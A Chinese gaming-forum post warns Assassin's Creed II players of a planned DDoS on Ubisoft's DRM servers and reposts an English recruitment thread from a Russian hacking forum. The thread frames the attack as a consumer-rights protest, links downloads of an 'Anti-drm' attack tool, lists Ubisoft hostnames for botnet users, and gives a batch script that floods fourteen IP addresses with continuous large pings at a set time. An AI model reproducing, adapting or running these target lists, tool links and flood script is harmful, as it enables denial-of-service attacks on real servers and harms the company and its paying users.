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玩AC2的朋友请注意!!!
本人在外国网站看到今天13.00(俄罗斯时间)将汇集世界各地的的人会因为育碧DRM事故发动DDOS攻击UBI的DRM服务器,可能会导致UBI的DRM服务器崩溃而无法让正版用户享受游戏,而且还正招聘世界所有人一起攻击DRM服务器,因为这是为了未来的DRM锁定机制的出现在游戏界,而且他们还说非常抱歉因为正版用户不能体验游戏的乐趣,请大家明白我们的行动。
会E文的朋友请看以下。
原文网址:
http://webxakep.net/forum/showthread.php?t=6067&page=99999
原文:
Welcome to the Official English DDOS Thread
First and foremost, we apologize for inconvenience to the players who bought the game and now cannot play. Please understand that we would prefer not to impact you negatively if we had the choice. In fact, many of us have a licensed version and also cannot play the game during DDOS. However, Ubisoft designed the DRM in a way that holds their customers hostage. Reasons for that will be explained further. The simple truth is that if we don’t stop this DRM system now, it will become accepted for most PC games by ALL major publishers. For the sake of the future of PC gaming and consumer rights PLEASE TAKE A STAND WITH US.
How Ubisoft DRM works
Surely most of the people reading this are familiar with how it works. If you are, skip ahead...
[HIDE="Click to expand"]The Ubisoft DRM is the most restrictive DRM ever implemented in a PC game. Currently, 2 games have it: Assassin’s Creed II and Silent Hunter 5. They are both SINGLE PLAYER games and Assassin’s Creed doesn’t even have a multiplayer component. Nevertheless, both REQUIRE CONSTANT INTERNET CONNECTION. If your connection to the Ubisoft server is interrupted, the game pauses until such time as the connection is resumed (note that the first version of the game quit into main menu). If it is not resumed promptly, you will not able to save your progress. Ubisoft requires you to be online to save the game and saved games are stored on their servers. Although they allowed to store saves offline recently, they are still synced with online saves. If DRM fails during the sync, the save is lost. This caused many gamers to lose 10-20 hours of progress, when Ubisoft wiped their saves during the sync process (see: [Для просмотра данной ссылки нужно зарегистрироваться]). With Ubisoft DRM, you are no longer BUYING the game; - you are RENTING it at full price. Your ability to play a SINGLE PLAYER game is completely dependent on Ubisoft servers (and how protected they are ?).[/HIDE]
What are we trying to achieve
We are trying to get Ubisoft to remove their DRM or at the very least to implement an offline mode. In the bigger scheme of things, we are trying to prevent this form of DRM from taking over the PC gaming market.
Why Ubisoft has done this
People who think that this is about preventing piracy of a specific game are missing the BIGGER PICTURE. Ubisoft is testing a new platform for game delivery (think: Steam). This is NOT about piracy, as much as it is about maximizing revenue. If your game is tied to your online account, you are no longer in possession of the game. The game cannot be resold. It cannot be given as a gift. You cannot buy a game from a different platform (think: Half-Life 2). You cannot lend it to a friend. If you can only play the game while online, Ubisoft is in complete control of how and when you use the game you bought. In the future, it enables them to implement whatever pricing structures they feel like. They can even charge you per save if they want to.
What Ubisoft could have done differently
If Ubisoft had more concern about you – their customers, they would have implemented fall-back mechanisms. For example, forcing online saving and pausing the game when the connection is lost was unnecessary. IT DOES NOT MAKE THE GAME EASIER TO CRACK. Instead, the game could easily pause at the next checkpoint. However, it was not their objective to create a worthwhile gaming experience. Their objective was to BETA-TEST THE MOST RESTRICTIVE FORM OF DRM POSSIBLE to see how easily users will adopt it. Unfortunately, without this protest, they will be successful.
If Ubisoft wins, you can expect this form of DRM to become standard in the PC gaming industry.
Even developers who do not want to put it into their games will be required to by investors. For the future of PC gaming and consumer rights, WE CANNOT LET IT HAPPEN.
What can you do:
? JOIN US: You can find the instructions in this thread.
? VOTE WITH YOUR WALLET: Do not buy any Ubisoft games until they remove this protection (full list here: [Для просмотра данной ссылки нужно зарегистрироваться])
? SPREAD THE WORD: Tell your friends about this, blog, twitter, post to facebook, put it in your signature, you know the rest…
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All attacks will begin today at 13:00 (Moscow time), call the people.
Who has no Anti-drm.exe, swing: (he leads an attack on the forum and off. Website)
http://sendfile.su/69642
http://depositfiles.com/files/hs2ihu9l6
http://openfile.ru/546355/
http://rapidshare.com/files/362734890/ANTI_DRM.rar.html
http://fileshare.in.ua/3249414
http://www.sendspace.com/file/9ebggc
Who uses other ddos program (botnets), the attack on these addresses:
static3.cdn.ubi.com
static2.cdn.ubi.com
secure.ubi.com
onlineconfigservice.ubi.com
ubi.com
forums.ubi.com
Run ping (http://webxakep.net/anti_drm.rar):
@ echo off
@ echo Dos Attack Time! Start 15:00 “Moscow Time”
@ echo If We Dos Ubisoft System Servers From All Around The World, Their Servers Will Go Down Because Of Overload!
@ echo WebXakep.net DRM OFF, To Start Click Anything!
pause
start ping 87.248.207.160-t-l 1024
start ping 87.248.207.148-t-l 1024
start ping 216.98.48.18-t-l 1024
start ping 63.251.9.27-t-l 1024
start ping 216.98.48.5-t-l 1024
start ping 216.98.48.35-t-l 1024
start ping 216.98.51.199-t-l 1024
start ping 216.98.51.202-t-l 1024
start ping 216.98.51.204-t-l 1024
start ping 216.98.51.205-t-l 1024
start ping 87.248.216.34-t-l 1024
start ping 87.248.217.229-t-l 1024
start ping 87.248.218.117-t-l 1024
start ping 87.248.219.138-t-l 1024
or a better download the file and run: http://webxakep.net/anti_drm.rar
The attack will start from 13:00 to Moscow, all the rest will join! Before starting not. |
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